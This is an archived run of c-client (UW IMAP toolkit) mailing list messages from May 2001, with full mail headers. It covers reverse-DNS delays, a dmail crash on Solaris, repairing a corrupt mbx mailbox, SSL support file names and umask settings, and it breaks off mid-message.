mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 09 11:27:19 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49IRHC11418; Wed, 9 May 2001 11:27:17 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49IF9H29888; Wed, 9 May 2001 11:15:09 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49IB8014264 for ; Wed, 9 May 2001 11:11:08 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49IB8K20465 for ; Wed, 9 May 2001 11:11:08 -0700 Message-Id: Date: Wed, 9 May 2001 10:50:04 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: re: gethostbyaddr() delays in tcp_clienthost() In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 May 2001 10:50:23 -0400 (EDT), Rich Graves wrote: > Is tcp_clienthost() needed anywhere but for logging? Opinions on turning it > into a no-op or maybe wrapping an alarm(10) around it? Thre is an option to turn off the use of gethostbyaddr(); however, it isn't recommended except in temporary emergency situations (such as your cable modem provider messing up). The option is under a compile option in imap-2000; in imap-2001 there's a configuration parameter that is checked at runtime. tcp_name() (the routine which actually calls gethostbyaddr()) is for the most part only used by logging. However, SASL also uses it. The most important thing that will break if you turn off tcp_name() is Kerberos. The bottom line is that the cable modem provider should be beaten up to fix their problem. Turning off gethostbyaddr() should be seen as an short term band-aid only. I'll grant that most cable modem providers are incompetant slime; my community had one and tried to persuade those of us with other forms of IP connectivity to switch to them. I told them to buzz off when a few simple questions put them into prevarication mode. Needless to say, they suddenly pulled the plug last year and left a lot of people high and dry. From pinedev@shivax2.cac.washington.edu Wed May 9 12:20:03 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 May 2001 12:20:02 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49JK1D16844 for ; Wed, 9 May 2001 12:20:01 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 09 12:20:00 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49JJwC13415; Wed, 9 May 2001 12:19:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49JHGH09054; Wed, 9 May 2001 12:17:16 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49JEe071886 for ; Wed, 9 May 2001 12:14:40 -0700 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49JEeX10909 for ; Wed, 9 May 2001 12:14:40 -0700 Received: from quixote.unet.brandeis.edu (IDENT:0@quixote.unet.brandeis.edu [129.64.99.99]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id PAA17117 for ; Wed, 9 May 2001 15:14:39 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu (8.9.3/8.9.1) with ESMTP id PAA01349 for ; Wed, 9 May 2001 15:14:38 -0400 Message-Id: Date: Wed, 9 May 2001 15:14:38 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rich Graves To: Subject: re: gethostbyaddr() delays in tcp_clienthost() In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 May 2001, Mark Crispin wrote: > On Wed, 9 May 2001 10:50:23 -0400 (EDT), Rich Graves wrote: > > Is tcp_clienthost() needed anywhere but for logging? Opinions on turning it > > into a no-op or maybe wrapping an alarm(10) around it? > > tcp_name() (the routine which actually calls gethostbyaddr()) is for the most > part only used by logging. However, SASL also uses it. The most important > thing that will break if you turn off tcp_name() is Kerberos. I.e, set allowreversedns = NIL in c-client/tcp_unix.c. I don't think I'll do that because AFAIK only one person (my boss) is seriously impacted. It'd be nifty if I could switch allowreversedns on and off with TCP wrappers, but that doesn't work for the alternate SSL port. (Any clues why yet?) I'll grep through a bit more, but I don't believe we care about SASL. We only do cleartext passwords, with a strong push for SSL and SSH. We're planning to adopt Kerberos just in time for single DES to be _totally_ worthless. Would kerberos still break if tcp_serverhost() does a reverse lookup but tcp_clienthost() doesn't? > The bottom line is that the cable modem provider should be beaten up to fix In principle that's true, but nobody even tries to do reverse lookups on web servers anymore. I know it's not really the same thing, but there is still a performance issue. In theory, causing pain to people whose clients do stupid things like flapping the connection to check mail every 5 minutes might put pressure on them to fix or replace the clients with something that actually talks IMAP, but in the meantime I've got a service to run. I don't want to deadlock for 90 seconds due to something out of our control just because it's the right thing to do. -- Rich Graves UNet Systems Administrator From pinedev@shivax2.cac.washington.edu Wed May 9 12:39:24 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 9 May 2001 12:39:24 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49JdND23996 for ; Wed, 9 May 2001 12:39:23 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Wed May 09 12:39:22 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49JdKC14096; Wed, 9 May 2001 12:39:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f49JZvp20024; Wed, 9 May 2001 12:35:57 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49JWt093624 for ; Wed, 9 May 2001 12:32:55 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jim@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f49JWtX17125 for ; Wed, 9 May 2001 12:32:55 -0700 Message-Id: Date: Wed, 9 May 2001 12:21:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rich Graves Cc: c-client@u.washington.edu Subject: re: gethostbyaddr() delays in tcp_clienthost() In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 May 2001 15:14:38 -0400 (EDT), Rich Graves wrote: > I.e, set allowreversedns = NIL in c-client/tcp_unix.c. Yes, that's the imap-2001 way. > It'd be nifty if I could switch allowreversedns on and off with TCP > wrappers, but that doesn't work for the alternate SSL port. (Any clues why > yet?) I don't know why TCP wrappers don't work with SSL port. > Would kerberos still break if tcp_serverhost() does a reverse lookup but > tcp_clienthost() doesn't? Yes it would, because the SASL setup code won't do the right thing either. > > The bottom line is that the cable modem provider should be beaten up to > > fix > In principle that's true, but nobody even tries to do reverse lookups on > web servers anymore. I know it's not really the same thing, but there is > still a performance issue. Unfortunately, there are still requirements (as in Kerberos) to do reverse lookups. Note that some sites do reverse lookups as an anti-spam/anti-hacking measure; that is, they refuse connections from sites whose reverse lookup name doesn't resolve to a name that doesn't resolve to an A or MX. > In theory, causing pain to people whose clients do stupid things like > flapping the connection to check mail every 5 minutes might put pressure on > them to fix or replace the clients with something that actually talks IMAP :-) What makes things worse is that some people actually think that such clients are good... :-( :-( From pinedev@shivax2.cac.washington.edu Fri May 11 11:32:55 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 May 2001 11:32:55 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4BIWsD03392 for ; Fri, 11 May 2001 11:32:54 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri May 11 11:32:53 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4BIWou03990; Fri, 11 May 2001 11:32:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4BITHE16806; Fri, 11 May 2001 11:29:18 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4BINa093950 for ; Fri, 11 May 2001 11:23:36 -0700 Received: from klepto.isrd.net (klepto.isrd.net [206.205.246.48]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4BINaF18405 for ; Fri, 11 May 2001 11:23:36 -0700 Received: from localhost (kevin@localhost) by klepto.isrd.net (8.10.2/8.10.2) with ESMTP id f4BIS5p05404 for ; Fri, 11 May 2001 14:28:05 -0400 Message-Id: Date: Fri, 11 May 2001 14:28:05 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kevin Dwyer To: Subject: Strange errors with dmail running on solaris.... MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: klepto.isrd.net: kevin owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'm not sure if anyone has come across this issue but I'd appreciate any input. Basically I compiled the most recent copy of IMAP from ftp.cac.washington.edu and then compiled the imap-utils. Both compilations finish fine, but when I try running dmail +INBOX it finds the mbx inbox I have created, verifies it as an mbx file, and tries to append to it. It then crashes with very unhelpful output. Here is a transcript from syslog: May 11 10:58:46 roundtable dmail[2611]: delivering to kevin+INBOX May 11 10:58:46 roundtable dmail[2611]: Verifying safe delivery to /export/home/kevin/INBOX May 11 10:58:46 roundtable dmail[2611]: mbx appending to #driver.mbx/INBOX (file /export/home/kevin/INBOX) May 11 10:58:46 roundtable dmail[2612]: IMAP toolkit crash: error reading message May 11 10:58:46 roundtable dmail[2611]: IMAP toolkit crash: Unknown event from execution process I can't find any mention of these errors anywhere so I'm at a bit of a loss. One thing to note is that I verified that this same setup will work when compiled on a Linux 2.4.4 box. The box that I am having the trouble on is a Solaris 7 installation with gcc. I tried it using gcc 2.95.2 32-bit, gcc 2.95.3 32-bit and 64-bit. If anybody has a suggestion please let me know ASAP. Thanks alot. -kevin -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri May 11 12:42:26 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 May 2001 12:42:25 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4BJgOD20962 for ; Fri, 11 May 2001 12:42:25 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri May 11 12:42:24 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4BJgMu06519; Fri, 11 May 2001 12:42:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4BJe0p07980; Fri, 11 May 2001 12:40:00 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4BJaP096650 for ; Fri, 11 May 2001 12:36:25 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pchar@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4BJaOK30466 for ; Fri, 11 May 2001 12:36:25 -0700 Message-Id: Date: Fri, 11 May 2001 12:31:44 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Kevin Dwyer Cc: c-client@u.washington.edu Subject: re: Strange errors with dmail running on solaris.... In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your dmail problem is occuring in code which is relatively new in the IMAP toolkit for SVR4-based systems such as Solaris or AIX. I tested dmail on AIX (we don't have any Solaris systems here) with the new code and I was not able to reproduce the problem; dmail worked as expected. So, either something is wrong with how you built the software; there is some Solaris-specific issue that I am unaware of; or your usage of dmail exercises a problem in a way that my testing did not. The first error message that you got seem to indicate that an unexpected end of file condition happened on a pipe. Supposedly, this is impossible. The second error message is even more "impossible"; it indicates a communication protocol error. This all leads me to question if, somehow, the software isn't being correctly compiled. Can you provide me with access to your system so that I can reproduce the problem and debug it? From pinedev@shivax2.cac.washington.edu Mon May 14 16:01:08 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 May 2001 16:01:08 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4EN17D14787 for ; Mon, 14 May 2001 16:01:07 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon May 14 16:01:06 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4EN14C21873; Mon, 14 May 2001 16:01:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4EMvVE25514; Mon, 14 May 2001 15:57:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4EMn9003400 for ; Mon, 14 May 2001 15:49:09 -0700 Received: from changeofhabit.mr.itd.umich.edu (changeofhabit.mr.itd.umich.edu [141.211.144.17]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4EMn9F20581 for ; Mon, 14 May 2001 15:49:09 -0700 Received: from umich.edu (maxilla.msis.med.umich.edu [141.214.40.111]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with ESMTP id SAA12476 for ; Mon, 14 May 2001 18:49:08 -0400 (EDT) Message-Id: <3B0060E3.A462351C@umich.edu> Date: Mon, 14 May 2001 18:49:08 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gus Teschke To: c-client mailing list Subject: How to recover my corrupt mbx INBOX? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: gust@umich.edu X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi c-client folks, I was using Netscape 4.7 on Solaris 2.7 to connect to an old UW IMAP server on Solaris 2.6 (IMAP4rev1 v11.241, no NFS), when I received this message when trying to use my mbx-formatted INBOX. The current command did not succeed. The mail server responded: SELECT failed: unable to parse internal header at 101590395: ct.p I've been unable to get UW to open the file. What have I tried? 1. Install the latest UW IMAP server, and use it to open the INBOX. Same error. 2. Use a Windows version of Netscape. Same error. 3. mbxcopy, icat, and mbxcvt (to Unix format). ?EXAMINE failed: Unable to parse internal header at 101590395: ct.py Is there another tool I might use to recover this 111,303,641 byte INBOX? Strings de-mbxes the file, strings INBOX > inbox.mangled but is any text lost? The stringed file's tail is not the same as the mbx file, and that makes me suspicious. Thanks for any help, Gus -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon May 14 16:15:08 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 May 2001 16:15:08 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4ENF6D04580 for ; Mon, 14 May 2001 16:15:07 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Mon May 14 16:15:06 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4ENF4C22333; Mon, 14 May 2001 16:15:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4ENBxX27840; Mon, 14 May 2001 16:11:59 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4EN7b095432 for ; Mon, 14 May 2001 16:07:38 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (demo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4EN7bF26574 for ; Mon, 14 May 2001 16:07:37 -0700 Message-Id: Date: Mon, 14 May 2001 16:07:34 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Gus Teschke Cc: c-client mailing list Subject: Re: How to recover my corrupt mbx INBOX? In-Reply-To: <3B0060E3.A462351C@umich.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is in the newest FAQ, but I haven't yet published that version yet. Sorry. Here's the question and it's associated answer. I'll get a new FAQ out shortly. Q: What do the error messages: Unable to read internal header at ... Unable to find CRLF at ... Unable to parse internal header at ... Unable to parse message date at ... Unable to parse message flags at ... Unable to parse message UID at ... Unable to parse message size at ... Last message (at ... ) runs past end of file ... mean? I am using mbx format. A: The mailbox is corrupted and needs to be repaired. You should make an effort to find out why the corruption happened. Was there an obvious system problem (crash or disk failure)? Did the user accidentally access the file via NFS? Mailboxes don't get corrupted by themselves; something caused the problem. Some people have developed automated scripts, but if you're comfortable using emacs it's pretty easy to fix it manually. DON'T USE vi OR ANY OTHER EDITOR UNLESS YOU ARE CERTAIN THAT EDITOR CAN HANDLE BINARY!!! After the word "at" in the error message is the byte position it got to when it got unhappy with the file, e.g. if you see: Unable to parse internal header at 43921: ne bombastic blurdybloop The problem occurs at the 43,931 byte in the file. That's the point you need to fix. c-client is expecting an internal header at that byte number, looking something like: 6-Jan-1998 17:42:24 -0800,1045;000000100001-00000001 The format of this internal line is: dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-UUUUUUUU The only thing that is variable is the "ssss" field, it can be as many digits as needed. All other fields (inluding the "dd") are fixed width. So, the easiest thing to do is to look forward in the file for the next internal header, and delete everything from the error point to that internal header. Here's what to do if you want to be smarter and do a little bit more work. Generally, you're in the middle of a message, and there's nothing wrong with that message. The problem happened in the *previous* message. So, search back to the previous internal header. Now, remember that "ssss" field? That's the size of that message. Mark where you are in the file, move the cursor to the line after the internal header, and skip that many bytes ("ssss") forward. If you're at the point of the error in the file, then that message is corrupt. If you're at a different point, then perhaps the previous message is corrupt and has a too long size count that "ate" into this message. Basically, what you need to do is make sure that all those size counts are right, and that moving "ssss" bytes from the line after the internal header will land you at another internal header. Usually, once you know what you're looking at, it's pretty easy to work out the corruption, and the best remedial action. I generally don't use repair scripts because I prefer the flexibility of manual repair. Repair scripts will make the problem go away but may not always do the smartest/best salvage of the user's data. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. From pinedev@shivax2.cac.washington.edu Tue May 15 13:15:50 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 13:15:44 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FKFgD11437 for ; Tue, 15 May 2001 13:15:43 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 13:15:42 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKFeu02714; Tue, 15 May 2001 13:15:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FKBcH09972; Tue, 15 May 2001 13:11:38 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FK4j034440 for ; Tue, 15 May 2001 13:04:45 -0700 Received: from alchemistry.net (gpkdap@alchemistry.net [160.79.102.254]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FK4iK13850 for ; Tue, 15 May 2001 13:04:44 -0700 Received: from [192.168.0.1] (helo=ilya) by alchemistry.net with esmtp (Exim 3.22 #1) id 14zl3j-0000bE-00 for c-client@u.washington.edu; Tue, 15 May 2001 16:04:43 -0400 Message-Id: <018a01c0dd7a$610b6820$0100a8c0@ilya> Date: Tue, 15 May 2001 16:05:24 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Ilya" To: Subject: ssl support MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is ssl support in c-client 2000 broken? there is no auth_ssl files in distribution, and php for example cant compile properly if i want it to support imap-ssl through cclinet thank you -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue May 15 13:47:42 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 13:47:42 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FKleD26700 for ; Tue, 15 May 2001 13:47:40 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 13:47:39 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKlbu03754; Tue, 15 May 2001 13:47:37 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FKhmH23474; Tue, 15 May 2001 13:43:48 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKWO018088 for ; Tue, 15 May 2001 13:32:24 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKWNX00381 for ; Tue, 15 May 2001 13:32:24 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKWNo01905; Tue, 15 May 2001 13:32:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tbl@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKWNC00922; Tue, 15 May 2001 13:32:23 -0700 Message-Id: Date: Tue, 15 May 2001 13:30:29 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Ilya Cc: c-client@u.washington.edu Subject: re: ssl support In-Reply-To: <018a01c0dd7a$610b6820$0100a8c0@ilya> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 15 May 2001 16:05:24 -0400, Ilya wrote: > Is ssl support in c-client 2000 broken? > there is no auth_ssl files in distribution, and php for example cant compile > properly if i want it to support imap-ssl through cclinet All UW-distributed versions of imap-2000 had auth_ssl. Note that in imap-2001, the SSL support files are now called ssl_unix, ssl_w2k, etc. PHP should not in any way depend upon how c-client is built (whether with or without SSL). If it does, this is a bug in PHP. From pinedev@shivax2.cac.washington.edu Tue May 15 13:57:13 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 May 2001 13:57:13 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FKvBD01040 for ; Tue, 15 May 2001 13:57:12 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue May 15 13:57:10 2001 -0700 Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKv9C23375; Tue, 15 May 2001 13:57:09 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f4FKtAp24114; Tue, 15 May 2001 13:55:10 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKYk015888 for ; Tue, 15 May 2001 13:34:47 -0700 Received: from klepto.isrd.lan (klepto.isrd.net [206.205.246.48]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f4FKYjK23652 for ; Tue, 15 May 2001 13:34:46 -0700 Received: from localhost (kevin@localhost) by klepto.isrd.lan (8.10.2/8.10.2) with ESMTP id f4FKdMX23386 for ; Tue, 15 May 2001 16:39:22 -0400 Message-Id: Date: Tue, 15 May 2001 16:39:22 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kevin Dwyer To: Subject: Question about the handling of umasks MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: klepto.isrd.lan: kevin owned process doing -bs X-X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hey all, has anyone had experience with forcing imapd to create files with a certain umask? I have several users accessing the same mailboxes, but with different usernames. They are all of the same group and I set up the directories and files to have group read/write privs. However, if one creates a new mailbox (using pine connected to the imapd) it will create it with perms 600 where 660 would be more 